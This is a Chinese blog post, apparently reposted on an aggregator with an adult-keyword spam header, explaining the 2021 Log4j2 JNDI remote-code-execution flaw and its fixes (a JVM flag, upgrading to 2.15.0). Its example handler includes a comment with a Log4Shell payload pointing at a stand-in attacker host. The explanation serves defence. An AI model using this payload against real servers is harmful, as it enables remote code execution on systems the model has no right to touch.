日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Log4j2突发重大漏洞

發(fā)布時間:2025/3/12 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Log4j2突发重大漏洞 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

長話短說吧。

相信大家已經(jīng)被 Log4j2 的重大漏洞刷屏了,估計有不少小伙伴此前為了修 bug 已經(jīng)累趴下了。很不幸,我的小老弟小二的 Spring Boot 項目中恰好用的就是 Log4j2,版本特喵的還是 2.14.1,在這次漏洞波及的版本范圍之內(nèi)。

第一時間從網(wǎng)上得知這個漏洞的消息后,小二嚇尿了。趕緊跑過來問老王怎么解決。

老王先是給小二提供了一些臨時性的建議,比如說:

JVM 參數(shù)添加 -Dlog4j2.formatMsgNoLookups=true log4j2.formatMsgNoLookups=True FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為true

此后,老王時刻關(guān)注著 Log4j2 的官網(wǎng)和 Spring Boot GitHub 倉庫的最新消息。

Java 后端開發(fā)的小伙伴應(yīng)該都知道,Log4j、SLF4J、Logback 這 3 個日志組件是一個爹——Ceki Gulcu,但 Log4j 2 卻是例外,它是 Apache 基金會的產(chǎn)品。

所以這波超級高危漏洞的鍋必須得由 Apache 來背。并且波及范圍非常廣,已知受影響的應(yīng)用程序和組件有:

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

并且只要是在 Log4j 2.x <= 2.14.1 之間的版本,都將受到影響——注定被載入史冊的一波 bug 啊。

目前,Log4j2 的官網(wǎng)已經(jīng)發(fā)布了 Log4j2 2.15.0 正式版,來解決此次漏洞。

那隨著 Log4j2 2.15.0 正式版的發(fā)布,Spring Boot 的 GitHub 倉庫提的這些關(guān)于 Log4j2 的 issue 都已經(jīng)處于關(guān)閉狀態(tài)了。

看到這些消息后,老王緊張的情緒一下子就緩解了下來,就像吃了一顆定心丸,趕緊去通知小二不用再提心吊膽了,直接一行代碼搞定。

<properties><log4j2.version>2.15.0</log4j2.version> </properties>

詳情可參照 Spring Boot 官方這篇博客:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

Gradle 構(gòu)建的項目也有解決方案。

問題是解決了,不過老王沒閑著。他從 Log4j2 官網(wǎng)公布的最新消息中琢磨出,本次遠(yuǎn)程代碼執(zhí)行漏洞正是由于組件存在 Java JNDI 注入漏洞:當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記錄到日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼

那肯定會有小伙伴在好奇 JNDI 是什么東東?來看一下維基百科的解釋。

Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI),是Java的一個目錄服務(wù)應(yīng)用程序接口(API),它提供一個目錄系統(tǒng),并將服務(wù)名稱與對象關(guān)聯(lián)起來,從而使得開發(fā)人員在開發(fā)過程中可以使用名稱來訪問對象。

利用下面這段代碼,攻擊者可以通過JNDI來執(zhí)行LDAP協(xié)議來注入一些非法的可執(zhí)行代碼。

public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.** This is basically pseudo-code to explain the vulnerability, and not a full example.** @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {String userAgent = he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "<h1>Hello There, " + userAgent + "!</h1>";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();} }

具體的攻擊手段可以參考這里:

https://github.com/apache/pulsar/issues/13232

下圖是程序猿阿朗畫的簡單的攻擊鏈路步驟圖。

感興趣的小伙伴可以在本地復(fù)現(xiàn)一下,但千萬不要不當(dāng)利用哦!

再次提醒大家一下,排查自己的項目是否引入了 Apache log4j-core Jar 包。

如果存在依賴引入,且在受影響版本范圍內(nèi),請升級到 Apache Log4j2 2.15.0 版本,目前已經(jīng) release。


沒有什么使我停留——除了目的,縱然岸旁有玫瑰、有綠蔭、有寧靜的港灣,我是不系之舟。

總結(jié)

以上是生活随笔為你收集整理的Log4j2突发重大漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。